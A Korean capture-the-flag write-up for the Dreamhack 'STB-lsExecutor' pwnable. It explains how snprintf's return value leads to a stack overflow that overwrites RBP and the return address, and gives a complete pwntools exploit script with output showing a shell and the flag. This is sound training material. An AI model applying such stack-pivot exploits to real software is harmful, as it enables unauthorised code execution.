Description
You can check the source code on Patchday Twitter
Please use ls
to catch the flag!
checksec
seo@seo:~/Documents/dreamhack/STB-lsExecutor$ checksec ./stb-lsExecutor [*] '/home/seo/Documents/dreamhack/STB-lsExecutor/stb-lsExecutor' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Decompiled-src
int __cdecl main(int argc, const char **argv, const char **envp) { char v4[64]; // [rsp+0h] [rbp-B0h] BYREF char s[104]; // [rsp+40h] [rbp-70h] BYREF int v6; // [rsp+A8h] [rbp-8h] int i; // [rsp+ACh] [rbp-4h] init(argc, argv, envp); for ( i = 0; i <= 9; ++i ) { printf("Enter option : "); read_data(v4, 60); v6 = snprintf(s, 30uLL, "ls -%s ", v4); printf("Enter path : "); read_data(&s[v6], 70); system(s); puts("Again? y/n"); read(0, &sel, 2uLL); if ( sel == 'n' ) break; } return 0; }
처음에 64바이트 크기의 v4에 60바이트만큼 데이터를 읽고,
v6는 snprintf에 의해 ls -l 4바이트 크기, 즉 v4 크기에다가 +4가 합쳐진 값이 들어간다.
그리고 read_data(&s[v6], 70); 에 의해 OOB를 발생시켜 main’s RET까지 원하는 값을 덮어쓸 수 있다.
스택은 위와 같고,
위처럼 for 반복문을 카운팅하는 i변수, main’s RBP, main’s RET 모두 원하는 값으로 조작할 수 있다.
Solution
카운팅하는 i변수, main’s RBP, main’s RET을 덮어쓸 수 있는 오프셋 위치를 계산하고 페이로드를 작성하면 된다.
rbp를 sel+0x70로, ret은 0x4013CB로 지정하여
system 함수를 호출할 때 전역변수인 sel에 있는 “sh” 문자열을 매개변수로 넘겨 쉘을 획득할 수 있다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = remote('host3.dreamhack.games', 15238) e = ELF('./stb-lsExecutor', checksec=False) p.sendafter("Enter option : ", b"A"*60) payload = b"B"*0x30 payload += p64(e.symbols['sel'] + 0x70) #RBP payload += p64(0x4013cb) #RET p.sendafter("Enter path : ", payload) p.sendafter("Again? y/n\n", b'sh') p.interactive()
Result
seo@seo:~/Documents/dreamhack/STB-lsExecutor$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 15238: Done [*] Switching to interactive mode $ cat /flag DH{TheVulnHideOn_Snprintf!} $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 15238